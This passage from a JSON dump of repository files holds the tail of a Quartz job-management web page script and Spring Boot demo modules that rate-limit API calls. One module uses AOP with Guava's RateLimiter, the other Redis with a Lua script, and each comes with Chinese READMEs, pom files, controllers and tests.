{\n\t\t\t\t\t\t\t\tvm.pause(params.row.jobName,params.row.jobGroup);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}, '停止');\n\t\t\t\t\tfunctionList.push(pause);\n\t\t\t\t}\n\t\t\t\t// 返回方法集合\n\t\t\t\treturn h('div', functionList);\n\t\t\t}\n\t\t}]\n\t\t\n\t},\n\tmethods : {\n\t\t//搜索\n\t\tsearch : function(){\n\t\t\t $.ajax({\n\t\t\t\t\turl:\"../job/list\",\n\t\t\t\t\ttype:\"post\",\n\t\t\t\t\tdata:{'jobName':this.content,\"pageNo\":this.pageNo,'pageSize':this.pageSize},\n\t\t\t\t\tsuccess: function(result) {\n\t\t\t\t\t\tvm.JobData = result.msg;\n\t\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\tempty : function(){\n\t\t\tvm.content = '';\n\t\t\tthis.list();\n\t\t},\n\t\t//任务列表(自行实现分页)\n\t\tlist : function() {\n\t\t\t$.ajax({\n\t\t\t\turl:\"../job/list\",\n\t\t\t\ttype:\"post\",\n\t\t\t\tdata:{'time':(new Date()).toString(),\"pageNo\":this.pageNo,'pageSize':this.pageSize},\n\t\t\t\tsuccess: function(result) {\n\t\t\t\t\tvm.JobData = result.msg;\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t//触发任务\n\t\ttrigger : function(jobName,jobGroup){\n\t\t\t$.ajax({\n\t\t\t\turl:\"../job/trigger\",\n\t\t\t\ttype:\"post\",\n\t\t\t\tdata:{'time':(new Date()).toString(),\"jobName\":jobName,'jobGroup':jobGroup},\n\t\t\t\tsuccess: function(result) {\n\t\t\t\t\tif(result.code==\"0\"){\n\t\t\t\t\t\tvm.$Notice.success({\n\t\t                    desc:  '任务执行成功'\n\t\t                });\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t//停止任务\n\t\tpause : function(jobName,jobGroup){\n\t\t\t$.ajax({\n\t\t\t\turl:\"../job/pause\",\n\t\t\t\ttype:\"post\",\n\t\t\t\tdata:{'time':(new Date()).toString(),\"jobName\":jobName,'jobGroup':jobGroup},\n\t\t\t\tsuccess: function(result) {\n\t\t\t\t\tif(result.code==\"0\"){\n\t\t\t\t\t\tvm.$Notice.success({\n\t\t                    desc:  '停止任务成功'\n\t\t                });\n\t\t\t\t\t\tvm.list();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t//恢复任务\n\t\tresume : function(jobName,jobGroup){\n\t\t\t$.ajax({\n\t\t\t\turl:\"../job/resume\",\n\t\t\t\ttype:\"post\",\n\t\t\t\tdata:{'time':(new Date()).toString(),\"jobName\":jobName,'jobGroup':jobGroup},\n\t\t\t\tsuccess: function(result) {\n\t\t\t\t\tif(result.code==\"0\"){\n\t\t\t\t\t\tvm.$Notice.success({\n\t\t                    desc:  '恢复任务成功'\n\t\t                });\n\t\t\t\t\t\tvm.list();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t//新建任务(略简单)\n\t\tadd : function(){\n\t\t\tdialogOpen({\n\t\t\t\ttitle: '新增',\n\t\t\t\turl: 'task/add.shtml',\n\t\t\t\tscroll : true,\n\t\t\t\twidth: '500px',\n\t\t\t\theight: '500px',\n\t\t\t\tyes : function(iframeId) {\n\t\t\t\t\ttop.frames[iframeId].vm.acceptClick();\n\t\t\t\t},\n\t\t\t});  \n\t\t},\n\t\tedit : function(quartz){\n\t\t\tdialogOpen({\n\t\t\t\ttitle: '修改',\n\t\t\t\turl: 'task/add.shtml',\n\t\t\t\tscroll : true,\n\t\t\t\twidth: '500px',\n\t\t\t\theight: '500px',\n\t\t\t\tsuccess : function(iframeId){\n\t\t\t\t\ttop.frames[iframeId].vm.formQuartz = quartz;\n\t\t\t\t},\n\t\t\t\tyes : function(iframeId) {\n\t\t\t\t\ttop.frames[iframeId].vm.acceptClick();\n\t\t\t\t},\n\t\t\t});\n\t\t},\n\t\t//移除任务\n\t\tremove : function(jobName,jobGroup){\n\t\t\tvar that = this;\n\t\t\ttop.layer.confirm('确定要移除任务吗？', {\n\t\t\t      btn: ['确定','取消'] //按钮\n\t\t\t}, function(){\n\t\t\t\t$.ajax({\n\t\t\t\t\turl:\"../job/remove\",\n\t\t\t\t\ttype:\"post\",\n\t\t\t\t\tdata:{'time':(new Date()).toString(),\"jobName\":jobName,'jobGroup':jobGroup},\n\t\t\t\t\tsuccess: function(result) {\n\t\t\t\t\t\tif(result.code==\"0\"){\n\t\t\t\t\t\t\ttop.layer.msg('任务移除成功', {icon: 1});\n\t\t\t\t\t\t\twindow.setTimeout(that.list(),1500); \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}, function(){\n\t\t\t  \n\t\t\t});\n\t\t}\n\t},\n\tcreated : function() {\n\t\tthis.list();\n\t}\n})\n\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/README.md",
    "content": "# spring-boot-demo-ratelimit-guava\n\n> 此 demo 主要演示了 Spring Boot 项目如何通过 AOP 结合 Guava 的 RateLimiter 实现限流，旨在保护 API 被恶意频繁访问的问题。\n\n## 1. 主要代码\n\n### 1.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-ratelimit-guava</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-ratelimit-guava</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-ratelimit-guava</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n### 1.2. 定义一个限流注解 `RateLimiter.java`\n\n> 注意代码里使用了 `AliasFor` 设置一组属性的别名，所以获取注解的时候，需要通过 `Spring` 提供的注解工具类 `AnnotationUtils` 获取，不可以通过 `AOP` 参数注入的方式获取，否则有些属性的值将会设置不进去。\n\n```java\n/**\n * <p>\n * 限流注解，添加了 {@link AliasFor} 必须通过 {@link AnnotationUtils} 获取，才会生效\n *\n * @author yangkai.shen\n * @date Created in 2019/9/12 14:14\n * @see AnnotationUtils\n * </p>\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RateLimiter {\n    int NOT_LIMITED = 0;\n\n    /**\n     * qps\n     */\n    @AliasFor(\"qps\") double value() default NOT_LIMITED;\n\n    /**\n     * qps\n     */\n    @AliasFor(\"value\") double qps() default NOT_LIMITED;\n\n    /**\n     * 超时时长\n     */\n    int timeout() default 0;\n\n    /**\n     * 超时时间单位\n     */\n    TimeUnit timeUnit() default TimeUnit.MILLISECONDS;\n}\n```\n\n### 1.3. 定义一个切面 `RateLimiterAspect.java`\n\n```java\n/**\n * <p>\n * 限流切面\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/12 14:27\n */\n@Slf4j\n@Aspect\n@Component\npublic class RateLimiterAspect {\n    private static final ConcurrentMap<String, com.google.common.util.concurrent.RateLimiter> RATE_LIMITER_CACHE = new ConcurrentHashMap<>();\n\n    @Pointcut(\"@annotation(com.jun.plugin.ratelimit.guava.annotation.RateLimiter)\")\n    public void rateLimit() {\n\n    }\n\n    @Around(\"rateLimit()\")\n    public Object pointcut(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        // 通过 AnnotationUtils.findAnnotation 获取 RateLimiter 注解\n        RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);\n        if (rateLimiter != null && rateLimiter.qps() > RateLimiter.NOT_LIMITED) {\n            double qps = rateLimiter.qps();\n            if (RATE_LIMITER_CACHE.get(method.getName()) == null) {\n                // 初始化 QPS\n                RATE_LIMITER_CACHE.put(method.getName(), com.google.common.util.concurrent.RateLimiter.create(qps));\n            }\n\n            log.debug(\"【{}】的QPS设置为: {}\", method.getName(), RATE_LIMITER_CACHE.get(method.getName()).getRate());\n            // 尝试获取令牌\n            if (RATE_LIMITER_CACHE.get(method.getName()) != null && !RATE_LIMITER_CACHE.get(method.getName()).tryAcquire(rateLimiter.timeout(), rateLimiter.timeUnit())) {\n                throw new RuntimeException(\"手速太快了，慢点儿吧~\");\n            }\n        }\n        return point.proceed();\n    }\n}\n```\n\n### 1.4. 定义两个API接口用于测试限流\n\n```java\n/**\n * <p>\n * 测试\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/12 14:22\n */\n@Slf4j\n@RestController\npublic class TestController {\n\n    @RateLimiter(value = 1.0, timeout = 300)\n    @GetMapping(\"/test1\")\n    public Dict test1() {\n        log.info(\"【test1】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n\n    @GetMapping(\"/test2\")\n    public Dict test2() {\n        log.info(\"【test2】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"我一直都在，卟离卟弃\");\n    }\n}\n```\n\n## 2. 测试\n\n- test1 接口未被限流的时候\n\n<img src=\"assets/image-20190912155209716.png\" alt=\"image-20190912155209716\" style=\"zoom:50%;\" />\n\n- test1 接口频繁刷新，触发限流的时候\n\n<img src=\"assets/image-20190912155229745.png\" alt=\"image-20190912155229745\" style=\"zoom:50%;\" />\n\n- test2 接口不做限流，可以一直刷新\n\n<img src=\"assets/image-20190912155146012.png\" alt=\"image-20190912155146012\" style=\"zoom:50%;\" />\n\n## 3. 参考\n\n- [限流原理解读之guava中的RateLimiter](https://juejin.im/post/5bb48d7b5188255c865e31bc)\n\n- [使用Guava的RateLimiter做限流](https://my.oschina.net/hanchao/blog/1833612)\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_ratelimit_guava</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n\n  <name>springboot_ratelimit_guava</name>\n  <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_ratelimit_guava</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/java/com/jun/plugin/ratelimit/guava/SpringBootDemoRatelimitGuavaApplication.java",
    "content": "package com.jun.plugin.ratelimit.guava;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/12 14:06\n */\n@SpringBootApplication\npublic class SpringBootDemoRatelimitGuavaApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoRatelimitGuavaApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/java/com/jun/plugin/ratelimit/guava/annotation/RateLimiter.java",
    "content": "package com.jun.plugin.ratelimit.guava.annotation;\n\nimport org.springframework.core.annotation.AliasFor;\nimport org.springframework.core.annotation.AnnotationUtils;\n\nimport java.lang.annotation.*;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 限流注解，添加了 {@link AliasFor} 必须通过 {@link AnnotationUtils} 获取，才会生效\n *\n * @author Wujun\n * @date Created in 2019/9/12 14:14\n * @see AnnotationUtils\n * </p>\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RateLimiter {\n    int NOT_LIMITED = 0;\n\n    /**\n     * qps\n     */\n    @AliasFor(\"qps\") double value() default NOT_LIMITED;\n\n    /**\n     * qps\n     */\n    @AliasFor(\"value\") double qps() default NOT_LIMITED;\n\n    /**\n     * 超时时长\n     */\n    int timeout() default 0;\n\n    /**\n     * 超时时间单位\n     */\n    TimeUnit timeUnit() default TimeUnit.MILLISECONDS;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/java/com/jun/plugin/ratelimit/guava/aspect/RateLimiterAspect.java",
    "content": "package com.jun.plugin.ratelimit.guava.aspect;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.springframework.core.annotation.AnnotationUtils;\nimport org.springframework.stereotype.Component;\n\nimport com.jun.plugin.ratelimit.guava.annotation.RateLimiter;\n\nimport java.lang.reflect.Method;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\n/**\n * <p>\n * 限流切面\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/12 14:27\n */\n@Slf4j\n@Aspect\n@Component\npublic class RateLimiterAspect {\n    private static final ConcurrentMap<String, com.google.common.util.concurrent.RateLimiter> RATE_LIMITER_CACHE = new ConcurrentHashMap<>();\n\n    @Pointcut(\"@annotation(com.jun.plugin.ratelimit.guava.annotation.RateLimiter)\")\n    public void rateLimit() {\n\n    }\n\n    @Around(\"rateLimit()\")\n    public Object pointcut(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        // 通过 AnnotationUtils.findAnnotation 获取 RateLimiter 注解\n        RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);\n        if (rateLimiter != null && rateLimiter.qps() > RateLimiter.NOT_LIMITED) {\n            double qps = rateLimiter.qps();\n            if (RATE_LIMITER_CACHE.get(method.getName()) == null) {\n                // 初始化 QPS\n                RATE_LIMITER_CACHE.put(method.getName(), com.google.common.util.concurrent.RateLimiter.create(qps));\n            }\n\n            log.debug(\"【{}】的QPS设置为: {}\", method.getName(), RATE_LIMITER_CACHE.get(method.getName()).getRate());\n            // 尝试获取令牌\n            if (RATE_LIMITER_CACHE.get(method.getName()) != null && !RATE_LIMITER_CACHE.get(method.getName()).tryAcquire(rateLimiter.timeout(), rateLimiter.timeUnit())) {\n                throw new RuntimeException(\"手速太快了，慢点儿吧~\");\n            }\n        }\n        return point.proceed();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/java/com/jun/plugin/ratelimit/guava/controller/TestController.java",
    "content": "package com.jun.plugin.ratelimit.guava.controller;\n\nimport cn.hutool.core.lang.Dict;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.ratelimit.guava.annotation.RateLimiter;\n\n/**\n * <p>\n * 测试\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/12 14:22\n */\n@Slf4j\n@RestController\npublic class TestController {\n\n    @RateLimiter(value = 1.0, timeout = 300)\n    @GetMapping(\"/test1\")\n    public Dict test1() {\n        log.info(\"【test1】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n\n    @GetMapping(\"/test2\")\n    public Dict test2() {\n        log.info(\"【test2】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"我一直都在，卟离卟弃\");\n    }\n\n    @RateLimiter(value = 2.0, timeout = 300)\n    @GetMapping(\"/test3\")\n    public Dict test3() {\n        log.info(\"【test3】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/java/com/jun/plugin/ratelimit/guava/handler/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.ratelimit.guava.handler;\n\nimport cn.hutool.core.lang.Dict;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\n/**\n * <p>\n * 全局异常拦截\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/12 15:00\n */\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    @ExceptionHandler(RuntimeException.class)\n    public Dict handler(RuntimeException ex) {\n        return Dict.create().set(\"msg\", ex.getMessage());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nlogging:\n  level:\n    com.xkcoding: debug\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_guava/src/test/java/com/jun/plugin/ratelimit/guava/SpringBootDemoRatelimitGuavaApplicationTests.java",
    "content": "package com.jun.plugin.ratelimit.guava;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoRatelimitGuavaApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/README.md",
    "content": "# spring-boot-demo-ratelimit-redis\n\n> 此 demo 主要演示了 Spring Boot 项目如何通过 AOP 结合 Redis + Lua 脚本实现分布式限流，旨在保护 API 被恶意频繁访问的问题，是 `spring-boot-demo-ratelimit-guava` 的升级版。\n\n## 1. 主要代码\n\n### 1.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-ratelimit-redis</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-ratelimit-redis</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-redis</artifactId>\n    </dependency>\n\n    <!-- 对象池，使用redis时必须引入 -->\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-pool2</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-ratelimit-redis</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n### 1.2. 限流注解\n\n```java\n/**\n * <p>\n * 限流注解，添加了 {@link AliasFor} 必须通过 {@link AnnotationUtils} 获取，才会生效\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/30 10:31\n * @see AnnotationUtils\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RateLimiter {\n    long DEFAULT_REQUEST = 10;\n\n    /**\n     * max 最大请求数\n     */\n    @AliasFor(\"max\") long value() default DEFAULT_REQUEST;\n\n    /**\n     * max 最大请求数\n     */\n    @AliasFor(\"value\") long max() default DEFAULT_REQUEST;\n\n    /**\n     * 限流key\n     */\n    String key() default \"\";\n\n    /**\n     * 超时时长，默认1分钟\n     */\n    long timeout() default 1;\n\n    /**\n     * 超时时间单位，默认 分钟\n     */\n    TimeUnit timeUnit() default TimeUnit.MINUTES;\n}\n```\n\n### 1.3. AOP处理限流\n\n```java\n/**\n * <p>\n * 限流切面\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/30 10:30\n */\n@Slf4j\n@Aspect\n@Component\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class RateLimiterAspect {\n    private final static String SEPARATOR = \":\";\n    private final static String REDIS_LIMIT_KEY_PREFIX = \"limit:\";\n    private final StringRedisTemplate stringRedisTemplate;\n    private final RedisScript<Long> limitRedisScript;\n\n    @Pointcut(\"@annotation(com.jun.plugin.ratelimit.redis.annotation.RateLimiter)\")\n    public void rateLimit() {\n\n    }\n\n    @Around(\"rateLimit()\")\n    public Object pointcut(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        // 通过 AnnotationUtils.findAnnotation 获取 RateLimiter 注解\n        RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);\n        if (rateLimiter != null) {\n            String key = rateLimiter.key();\n            // 默认用类名+方法名做限流的 key 前缀\n            if (StrUtil.isBlank(key)) {\n                key = method.getDeclaringClass().getName()+StrUtil.DOT+method.getName();\n            }\n            // 最终限流的 key 为 前缀 + IP地址\n            // TODO: 此时需要考虑局域网多用户访问的情况，因此 key 后续需要加上方法参数更加合理\n            key = key + SEPARATOR + IpUtil.getIpAddr();\n\n            long max = rateLimiter.max();\n            long timeout = rateLimiter.timeout();\n            TimeUnit timeUnit = rateLimiter.timeUnit();\n            boolean limited = shouldLimited(key, max, timeout, timeUnit);\n            if (limited) {\n                throw new RuntimeException(\"手速太快了，慢点儿吧~\");\n            }\n        }\n\n        return point.proceed();\n    }\n\n    private boolean shouldLimited(String key, long max, long timeout, TimeUnit timeUnit) {\n        // 最终的 key 格式为：\n        // limit:自定义key:IP\n        // limit:类名.方法名:IP\n        key = REDIS_LIMIT_KEY_PREFIX + key;\n        // 统一使用单位毫秒\n        long ttl = timeUnit.toMillis(timeout);\n        // 当前时间毫秒数\n        long now = Instant.now().toEpochMilli();\n        long expired = now - ttl;\n        // 注意这里必须转为 String,否则会报错 java.lang.Long cannot be cast to java.lang.String\n        Long executeTimes = stringRedisTemplate.execute(limitRedisScript, Collections.singletonList(key), now + \"\", ttl + \"\", expired + \"\", max + \"\");\n        if (executeTimes != null) {\n            if (executeTimes == 0) {\n                log.error(\"【{}】在单位时间 {} 毫秒内已达到访问上限，当前接口上限 {}\", key, ttl, max);\n                return true;\n            } else {\n                log.info(\"【{}】在单位时间 {} 毫秒内访问 {} 次\", key, ttl, executeTimes);\n                return false;\n            }\n        }\n        return false;\n    }\n}\n```\n\n### 1.4. lua 脚本\n\n```lua\n-- 下标从 1 开始\nlocal key = KEYS[1]\nlocal now = tonumber(ARGV[1])\nlocal ttl = tonumber(ARGV[2])\nlocal expired = tonumber(ARGV[3])\n-- 最大访问量\nlocal max = tonumber(ARGV[4])\n\n-- 清除过期的数据\n-- 移除指定分数区间内的所有元素，expired 即已经过期的 score\n-- 根据当前时间毫秒数 - 超时毫秒数，得到过期时间 expired\nredis.call('zremrangebyscore', key, 0, expired)\n\n-- 获取 zset 中的当前元素个数\nlocal current = tonumber(redis.call('zcard', key))\nlocal next = current + 1\n\nif next > max then\n  -- 达到限流大小 返回 0\n  return 0;\nelse\n  -- 往 zset 中添加一个值、得分均为当前时间戳的元素，[value,score]\n  redis.call(\"zadd\", key, now, now)\n  -- 每次访问均重新设置 zset 的过期时间，单位毫秒\n  redis.call(\"pexpire\", key, ttl)\n  return next\nend\n```\n\n### 1.5. 接口测试\n\n```java\n/**\n * <p>\n * 测试\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/30 10:30\n */\n@Slf4j\n@RestController\npublic class TestController {\n\n    @RateLimiter(value = 5)\n    @GetMapping(\"/test1\")\n    public Dict test1() {\n        log.info(\"【test1】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n\n    @GetMapping(\"/test2\")\n    public Dict test2() {\n        log.info(\"【test2】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"我一直都在，卟离卟弃\");\n    }\n\n    @RateLimiter(value = 2, key = \"测试自定义key\")\n    @GetMapping(\"/test3\")\n    public Dict test3() {\n        log.info(\"【test3】被执行了。。。。。\");\n        return Dict.create().set(\"msg\", \"hello,world!\").set(\"description\", \"别想一直看到我，不信你快速刷新看看~\");\n    }\n}\n```\n\n### 1.6. 其余代码参见 demo\n\n## 2. 测试\n\n- 触发限流时控制台打印\n\n![image-20190930155856711](assets/image-20190930155856711.png)\n\n- 触发限流的时候 Redis 的数据\n\n![image-20190930155735300](assets/image-20190930155735300.png)\n\n## 3. 参考\n\n- [mica-plus-redis 的分布式限流实现](https://github.com/lets-mica/mica/tree/master/mica-plus-redis)\n- [Java并发：分布式应用限流 Redis + Lua 实践](https://segmentfault.com/a/1190000016042927)\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ratelimit_redis/pom.xml",
